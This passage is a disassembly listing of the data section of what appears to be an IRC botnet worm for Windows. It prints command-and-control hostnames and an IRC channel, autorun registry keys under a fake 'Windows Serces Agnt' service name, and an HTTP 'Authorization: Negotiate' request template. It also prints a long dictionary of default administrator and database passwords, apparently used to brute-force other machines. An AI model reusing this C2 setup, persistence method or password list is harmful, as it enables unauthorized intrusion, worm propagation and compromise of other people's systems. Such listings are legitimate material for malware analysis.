		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620	dd 2Eh			; DATA XREF: sub_401ACD+3428o
					; sub_401ACD+3514o ...
dword_427624	dd 2Eh			; DATA XREF: sub_401ACD+3850o
					; sub_401ACD+388Ao ...
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
dbl_427668	dq 1.388888888888889e-2	; DATA XREF: sub_40D2F4+2Fr
dbl_427670	dq 1.666666666666667e-1	; DATA XREF: sub_40D2F4+15r
dword_427678	dd 0FFFFFFFFh		; DATA XREF: sub_40D340+16Fr
					; sub_40D774r ...
		align 10h
dbl_427680	dq 1.333333333333333	; DATA XREF: sub_40D340+79r
dword_427688	dd 2 dup(0)		; DATA XREF: sub_40D4E2+4Do
					; sub_40D824+5Bo ...
dbl_427690	dq 9.765625e-4		; DATA XREF: ___:00416A5Dr
					; ___:00416A78r ...
dbl_427698	dq -1.52587890625e-4	; DATA XREF: sub_417E84+3E5r
dbl_4276A0	dq 3.0517578125e-4	; DATA XREF: sub_417E84+3C5r
dbl_4276A8	dq -3.0517578125e-4	; DATA XREF: sub_417E84+342r
					; sub_417E84+3A7r
dbl_4276B0	dq 1.52587890625e-4	; DATA XREF: sub_417E84+271r
dbl_4276B8	dq -1.739501953125e-3	; DATA XREF: sub_417E84+24Br
					; sub_417E84+2D5r ...
dbl_4276C0	dq 3.11279296875e-3	; DATA XREF: sub_417E84+E1r
dbl_4276C8	dq 3.0517578125e-5	; DATA XREF: sub_417E84+AEr
					; sub_417E84+138r ...
dbl_4276D0	dq 6.103515625e-5	; DATA XREF: sub_417E84+93r
					; sub_417E84+308r
dbl_4276D8	dq 2.288818359375e-3	; DATA XREF: sub_417E84+21r
dbl_4276E0	dq -3.0517578125e-5	; DATA XREF: sub_418BD1+2Br
flt_4276E8	dd 9.765625e-4		; DATA XREF: sub_41AA1E+1B0r
flt_4276EC	dd 8.0			; DATA XREF: sub_41AA1E+1AAr
flt_4276F0	dd 0.0			; DATA XREF: sub_41AA1E+171r
flt_4276F4	dd 1.0e-3		; DATA XREF: sub_41AA1E+168r
dbl_4276F8	dq 1.0			; DATA XREF: sub_41D055+6Cr
					; sub_41D19B+6Cr ...
		dd 0FFFFFFFFh, 41E2AAh,	41E2BEh
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
		align 4
byte_42773C	db 6			; DATA XREF: sub_41FF3F:loc_41FF96r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43D0A4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43D0A0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: ___:off_43D31Co
dbl_427860	dq 0.0			; DATA XREF: sub_421BFF+8Cr
					; sub_421BFF+ACr ...
dbl_427868	dq 4.195835e6		; DATA XREF: sub_422114+Fr
dbl_427870	dq 3.145727e6		; DATA XREF: sub_422114+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_422152o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_422279+93o
		align 4
dword_4278A8	dd 0FFFFFFFFh, 422964h,	42296Eh, 0 ; DATA XREF:	sub_4228FD+5o
dword_4278B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422A2C+5o
		dd offset loc_422AEA
		align 8
		dd offset sub_422AC8
		dd offset sub_422AD2
dword_4278D0	dd 0FFFFFFFFh, 422D1Ah,	422D1Eh, 0 ; DATA XREF:	sub_422B62+5o
dword_4278E0	dd 0FFFFFFFFh, 422D7Ch,	422D85h, 0 ; DATA XREF:	sub_422D26+5o
dword_4278F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422DFC+5o
		dd offset loc_422E4D
		align 10h
		dd offset loc_422E39
		dd offset loc_422E3D
dword_427908	dd 0FFFFFFFFh, 0	; DATA XREF: sub_422E52+5o
		dd offset loc_422EA3
		align 8
		dd offset loc_422E8F
		dd offset loc_422E93
dword_427920	dd 2 dup(0)		; DATA XREF: sub_4232A8+36o
					; sub_4244F4+39o ...
dword_427928	dd 0FFFFFFFFh, 4233B8h,	4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
					; DATA XREF: sub_4232A8+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43D4ECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
		align 10h
asc_427BF0	db 0Ah			; DATA XREF: sub_423DD1+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_423DD1+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do
		align 10h
dword_427C30	dd 0FFFFFFFFh, 4245EDh,	4245F1h	; DATA XREF: sub_4244F4+5o
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do
		align 10h
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_425029+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_425029+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425973:loc_425A68o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425973+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_425973+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425973+ADo
		align 4
		dd offset dword_427DAC
off_427C90	dd offset loc_4260E2	; DATA XREF: sub_4260BA+8o
					; sub_4260FE+2Co ...
		dd offset sub_4260D5
		dd offset sub_4262F6
		dd offset dword_427DF8
off_427CA0	dd offset sub_42614C	; DATA XREF: sub_4260FE+3Ao
					; sub_426168o ...
		dd offset sub_4260D5
		dd offset loc_426332
dword_427CAC	dd 0			; DATA XREF: sub_4260FE+16o
					; sub_4261D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426173+11o
		dd offset dword_427E44
off_427CCC	dd offset sub_42625B	; DATA XREF: sub_426277o
					; sub_42629A+37o ...
		dd offset sub_4260D5
		dd offset loc_426314
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42629A+11o
		dd offset dword_427E88
off_427CEC	dd offset loc_4264A5	; DATA XREF: sub_426490o
					; ___:off_43DAF4o ...
		dd offset dword_427EB8
off_427CF4	dd offset loc_4264C1	; DATA XREF: sub_4264DD+8o
					; sub_42651A+8o ...
		dd offset sub_42657A
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o
		align 10h
dword_427D10	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426587+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427D30	dd 0FFFFFFFFh, 426738h,	42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h
					; DATA XREF: sub_426636+5o
dword_427D48	dd 0FFFFFFFFh, 4269ADh,	4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh
					; DATA XREF: sub_4268C1+5o
		dd 43DAF4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427D78	dd offset off_43DB0C	; DATA XREF: ___:00427D90o
					; ___:00427DDCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427D98	dd 3 dup(0)		; DATA XREF: ___:00427DBCo
		dd 2, 427D90h
dword_427DAC	dd 3 dup(0)		; DATA XREF: ___:00427C8Co
		dd offset off_43DB0C
		dd offset dword_427D98+4
off_427DC0	dd offset off_43DB2C	; DATA XREF: ___:00427DD8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DC0
		dd offset off_427D78
		dd offset dword_427D48+18h
		dd 0
		db    0			; DATA XREF: ___:00427E08o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427DD8h
dword_427DF8	dd 3 dup(0)		; DATA XREF: ___:00427C9Co
		dd offset off_43DB2C
		dd offset unk_427DE8
off_427E0C	dd offset off_43DB4C	; DATA XREF: ___:00427E24o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E0C
		dd offset off_427D78
		dd offset dword_427D48+18h
dword_427E30	dd 3 dup(0)		; DATA XREF: ___:00427E54o
		dd 3, 427E24h
dword_427E44	dd 3 dup(0)		; DATA XREF: ___:00427CC8o
		dd offset off_43DB4C
		dd offset dword_427E30+4
off_427E58	dd offset off_43DB70	; DATA XREF: ___:00427E70o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E58
		dd 0
		db    0			; DATA XREF: ___:00427E98o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427E70h
dword_427E88	dd 3 dup(0)		; DATA XREF: ___:00427CE8o
		dd offset off_43DB70
		dd offset unk_427E78
		dd offset dword_427D48+18h
dword_427EA0	dd 4 dup(0)		; DATA XREF: ___:00427EC8o
		dd 1, 427E9Ch
dword_427EB8	dd 3 dup(0)		; DATA XREF: ___:00427CF0o
		dd offset off_43DAF4
		dd offset dword_427EA0+8
		align 10h
dword_427ED0	dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF:	___:loc_426AA7o
		dd 0FFFFFFFFh, 426A90h,	0
		dd offset sub_426A88
dword_427F00	dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF:	___:loc_426AC4o
		dd 0FFFFFFFFh, 426AB4h,	0
		dd offset loc_426ABC
dword_427F30	dd 19930520h, 2, 427F50h, 1, 427F60h, 3	dup(0) ; DATA XREF: ___:loc_426AD0o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427F78h, 4	dup(0)
		dd offset loc_40DA8E
		dd 0FFFFFFFFh, 426ADAh
dword_427F90	dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF:	___:loc_426AE2o
		dd offset off_43DAF4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42651Ah, 0
		dd offset off_43DB0C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426218h, 0
		dd offset off_43DB2C
		align 10h
		dd 0FFFFFFFFh, 0
dword_427FF8	dd 1Ch,	426282h, 3, 427FE4h, 427FC8h, 427FACh ;	DATA XREF: ___:0042801Co
dword_428010	dd 0			; DATA XREF: sub_426173+2Eo
					; sub_4262F6+4Bo
		dd offset sub_426168
		dd 0
		dd offset dword_427FF8+8
		dd 0FFFFFFFFh, 426AECh
dword_428028	dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF:	___:loc_426AF4o
		dd 0FFFFFFFFh, 426AFEh
dword_42804C	dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF:	___:loc_426B06o
		dd 0FFFFFFFFh, 426B10h
dword_428070	dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF:	___:loc_426B18o
		dd offset off_43DB4C
		align 8
		dd 0FFFFFFFFh, 0
dword_4280A0	dd 1Ch,	4262DEh, 3, 42808Ch, 427FC8h, 427FACh ;	DATA XREF: ___:004280C4o
dword_4280B8	dd 0			; DATA XREF: sub_42629A+2Eo
					; sub_4262F6+2Do
		dd offset sub_426277
		dd 0
		dd offset dword_4280A0+8
		dd 0FFFFFFFFh, 426B22h
dword_4280D0	dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF:	___:loc_426B2Ao
dword_4280EC	dd 2, 427FC8h, 427FACh	; DATA XREF: ___:00428104o
dword_4280F8	dd 0			; DATA XREF: sub_4262F6+Fo
		dd offset sub_4260BA
		dd 0
		dd offset dword_4280EC
		dd 5 dup(7D23AB54h), 5 dup(19F709BCh), 75h dup(0)
		dd 19F709BCh, 15h dup(0)
		dd 7D23AB54h, 6	dup(0)
		dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041C183o
		dd offset loc_401205
		dd offset sub_40DB3C
		dd offset dword_40EF1C+1D0h
dword_429010	dd 0			; DATA XREF: ___:0041C17Eo
dword_429014	dd 0			; DATA XREF: ___:0041C174o
		dd offset sub_41DA32
		dd offset sub_420B0D
		dd offset sub_42413E
		dd offset word_424F62
dword_429028	dd 0			; DATA XREF: ___:loc_41C16Fo
dword_42902C	dd 0			; DATA XREF: sub_41C1B3+65o
		dd offset sub_4241E3
dword_429034	dd 0			; DATA XREF: sub_41C1B3:loc_41C213o
dword_429038	dd 0			; DATA XREF: sub_41C1B3+76o
		dd offset byte_424F73
dword_429040	dd 4 dup(0)		; DATA XREF: sub_41C1B3:loc_41C224o
dword_429050	dd 80000002h, 429178h, 80000002h, 4291A8h, 80000001h, 429178h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_4045D8r
dword_429078	dd 45h			; DATA XREF: sub_401ACD+202Er
					; sub_40BD91+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403BE9r
					; sub_40BD91:loc_40C182r
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403D75r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_4046FBr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+643r
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_4188A6+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A76r
					; sub_401ACD+B30r ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40AAAC+3Ar
					; sub_40AAAC+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aScortiser	db 'scortiser',0        ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_40445Do ...
		align 10h
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404902o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7BCBo
					; sub_401ACD+7C9Ao
		align 4
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290EC	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 10h
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 10h
byte_429110	db 77h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 69h,	6Eh, 64h
		dd 76726573h, 78652E63h, 65h, 6E6E6977h, 61622E74h, 74h
aWindowsSercesA	db 'Windows Serces Agnt',0 ; DATA XREF: sub_401000+Eo
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 10h
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7D1Do
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1E91o
					; sub_401ACD+1EA2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+72B4o
					; sub_401ACD+730Co
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40EAo
					; sub_401ACD+423Ao
		align 4
off_429164	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4096EBo
					; "*@admin.com"
off_429168	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r
					; sub_401ACD+7C3Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 10h
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o
					; sub_41A6EA+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o
					; sub_41A6EA+D4o
		align 10h
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 429940h, 429930h, 429920h,	429914h
		dd 42990Ch, 429904h, 4298FCh, 4298F4h, 4298E8h,	4298E0h
		dd 4298D8h, 4298D0h, 4298C4h, 4298BCh, 4298B4h,	4298A8h
		dd 4298A4h, 42989Ch, 429898h, 0
		dd offset byte_43DB98
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		dd 0
dword_4294D4	dd 10h			; DATA XREF: sub_401ACD+AE0r
					; sub_401ACD+B0Cr ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294C0o
		align 4
aLan		db 'lan',0              ; DATA XREF: ___:004294B8o
aMain		db 'main',0             ; DATA XREF: ___:004294B4o
		align 10h
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294B0o
aBlank		db 'blank',0            ; DATA XREF: ___:004294ACo
		align 10h
aOffice		db 'office',0           ; DATA XREF: ___:004294A8o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A4o
aXp		db 'xp',0               ; DATA XREF: ___:004294A0o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: ___:0042949Co
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429498o
		align 10h
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429494o
aCompaq		db 'compaq',0           ; DATA XREF: ___:00429490o
		align 10h
aDell		db 'dell',0             ; DATA XREF: ___:0042948Co
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429488o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: ___:00429484o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:0042947Co
		align 10h
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429478o
		align 4
aSql		db 'sql',0              ; DATA XREF: ___:00429474o
aSa		db 'sa',0               ; DATA XREF: ___:00429470o
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:0042946Co
		align 4
aDb1		db 'db1',0              ; DATA XREF: ___:00429464o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:00429460o
		align 4
aData		db 'data',0             ; DATA XREF: ___:0042945Co
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429458o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429454o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: ___:00429450o
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:0042944Co
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429444o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:00429440o
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:0042943Co
		align 4
aHello		db 'hello',0            ; DATA XREF: ___:00429438o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429434o
		align 4
aGod		db 'god',0              ; DATA XREF: ___:00429430o
aSex		db 'sex',0              ; DATA XREF: ___:0042942Co
aSlut		db 'slut',0             ; DATA XREF: ___:00429428o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:00429424o
		align 4
